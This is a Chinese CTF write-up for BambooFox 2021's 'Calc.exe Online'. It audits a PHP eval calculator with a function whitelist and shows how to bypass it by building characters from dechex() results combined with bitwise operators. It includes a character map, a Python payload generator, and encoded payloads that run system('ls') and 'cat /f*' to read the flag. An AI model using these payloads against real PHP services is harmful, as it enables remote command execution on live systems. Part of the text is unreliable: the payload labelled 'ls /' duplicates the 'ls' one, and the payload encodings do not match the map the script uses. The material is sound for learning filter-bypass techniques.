BambooFox CTF 2021-Calc.exe Online

Calc.exe Online

没给docker,可能刚结束,还没来得及上传,没关系,这题考phprce有相关源码就够了

代码审计

<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));

function is_safe($query)
{
    $query = strtolower($query);
    preg_match_all("/([a-z_]+)/", $query, $words);
    $words = $words[0];
    $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
    $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
    $accept_chars = str_split($accept_chars);
    $bad = '';
    for ($i = 0; $i < count($words); $i++) {
        if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
            $bad .= $words[$i] . " ";
        }
    }

    for ($i = 0; $i < strlen($query); $i++) {
        if (array_search($query[$i], $accept_chars) === false) {
            $bad .= $query[$i] . " ";
        }
    }
    return $bad;
}

function safe_eval($code)
{
    if (strlen($code) > 1024) return "Expression too long.";
    $code = strtolower($code);
    $bad = is_safe($code);
    $res = '';
    if (strlen(str_replace(' ', '', $bad)))
        $res = "I don't like this: " . $bad;
    else
        eval('$res=' . $code . ";");
    return $res;
}

if (isset($_GET['expression']));
	@safe_eval($_GET['expression']);
?>

部分不重要的代码略去

主要看到有

safe_eval($_GET['expression']);

通过自定义的safe_eval函数,传入的内容bypass相关安全检查后,即可执行eval。所以我们的思路就是绕过后命令执行

审计两个函数

is_safe函数使用白名单的函数,保证传入参数在白名单中,并连接返回

safe_eval函数保证参数值小于1024,并将其带入is_safe中处理,返回值中要没有除空格以外的内容,将会执行没有经过is_safe处理的值

dechex

感觉这种比较通俗易懂,观察白名单中可用的函数有dechex

参考

举个例子

那么我们就可以借此函数和.连接的方式构造任意字母数字特殊字符

1.json

{"0": "(dechex(0)|dechex(0)|dechex(0))",
"1": "(dechex(0)|dechex(0)|dechex(1))",
"2": "(dechex(0)|dechex(0)|dechex(2))",
"3": "(dechex(0)|dechex(0)|dechex(3))",
"4": "(dechex(0)|dechex(0)|dechex(4))",
"5": "(dechex(0)|dechex(0)|dechex(5))",
"6": "(dechex(0)|dechex(0)|dechex(6))",
"7": "(dechex(0)|dechex(0)|dechex(7))",
"8": "(dechex(0)|dechex(0)|dechex(8))",
"9": "(dechex(0)|dechex(0)|dechex(9))",
"q": "(dechex(0)|dechex(0)|dechex(10))",
"r": "(dechex(0)|dechex(0)|dechex(11))",
"s": "(dechex(0)|dechex(0)|dechex(12))",
"t": "(dechex(0)|dechex(0)|dechex(13))",
"u": "(dechex(0)|dechex(0)|dechex(14))",
":": "(dechex(0)|dechex(2)|dechex(8))",
";": "(dechex(0)|dechex(2)|dechex(9))",
"v": "(dechex(0)|dechex(2)|dechex(13))",
"w": "(dechex(0)|dechex(2)|dechex(14))",
"<": "(dechex(0)|dechex(4)|dechex(8))",
"=": "(dechex(0)|dechex(4)|dechex(9))",
">": "(dechex(0)|dechex(6)|dechex(8))",
"?": "(dechex(0)|dechex(6)|dechex(9))",
"y": "(dechex(0)|dechex(8)|dechex(10))",
"z": "(dechex(0)|dechex(8)|dechex(11))",
"{": "(dechex(0)|dechex(8)|dechex(12))",
"|": "(dechex(0)|dechex(8)|dechex(13))",
"}": "(dechex(0)|dechex(8)|dechex(14))",
"~": "(dechex(2)|dechex(8)|dechex(13))",
"a": "(dechex(10)|dechex(10)|dechex(10))",
"c": "(dechex(10)|dechex(10)|dechex(11))",
"e": "(dechex(10)|dechex(10)|dechex(13))",
"g": "(dechex(10)|dechex(11)|dechex(13))",
"b": "(dechex(11)|dechex(11)|dechex(11))",
"f": "(dechex(11)|dechex(11)|dechex(13))",
"d": "(dechex(13)|dechex(13)|dechex(13))",
"m": "dechex(10)&dechex(10)|dechex(4)^dechex(8)",
"l": "dechex(10)&dechex(11)|dechex(4)^dechex(8)",
" ": "dechex(0)&dechex(10)|dechex(0)^dechex(0)",
"/": "dechex(0)&dechex(10)|dechex(6)^dechex(9)",
"*": "dechex(0)&dechex(10)|dechex(2)^dechex(8)"}

编写exp

#!/usr/bin/env python3

import json
import sys
import urllib.parse

if len(sys.argv) - 1 < 1:
    print('A command must be specified')
    exit(1)

payload = ''

with open('/1.json') as chars_file:
    chars = json.load(chars_file)
    
    for index, char in enumerate(sys.argv[1]):
        if index != 0:
            payload += '.'
          
        payload += chars[char]
        payload += ''

    print(f"Payload:\n({payload})")
    print(f"URL Encoded:\n({urllib.parse.quote(payload)})")
system(ls)

((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(11)|dechex(4)^dechex(8)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)))
ls /

((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(11)|dechex(4)^dechex(8)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)))
cat /f*

((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(10)|dechex(0)^dechex(2)).(dechex(10)&dechex(10)|dechex(0)^dechex(0)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(0)&dechex(10)|dechex(0)^dechex(0)).(dechex(0)&dechex(10)|dechex(6)^dechex(9)).(dechex(10)&dechex(11)|dechex(0)^dechex(6)).(dechex(0)&dechex(10)|dechex(2)^dechex(8)))

还有一种方法,通过索引字符串的方式

例如:

abs[0] -> a

abs[0].abs[2] -> as

(cos[0].tanh[3].ncr[2])(65)  -> chr(65) -> A

通过这样的方式同样可以构造出我们所需要的payload

posted @ 2021-01-21 23:16  kar3a  阅读(202)  评论(0编辑  收藏  举报